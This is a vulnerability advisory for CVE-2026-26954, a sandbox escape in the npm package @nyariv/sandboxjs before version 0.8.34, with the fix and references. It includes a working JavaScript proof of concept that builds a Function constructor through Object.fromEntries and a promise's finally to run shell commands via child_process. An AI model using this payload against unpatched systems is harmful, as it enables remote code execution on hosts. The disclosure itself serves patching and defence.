CVE-2026-26954
SandboxJS affected by a Sandbox Escape
Impact
### Summary It is possible to obtain arrays containing `Function`, which allows escaping the sandbox. ### Details There are various ways to get an array containing `Function`, e.g. ```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ``` Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox. ### PoC ```js const s = require('.').default; const sb = new s(); payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `; sb.compile(payload)().run(); ``` ### Impact Sandbox Escape -> RCE
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @nyariv/sandboxjs | <= 0.8.33 | 0.8.34 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Nyariv | Sandboxjs | before 0.8.34 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv
- https://github.com/advisories/GHSA-6r9f-759j-hjgv
- https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085
- https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34
- https://nvd.nist.gov/vuln/detail/CVE-2026-26954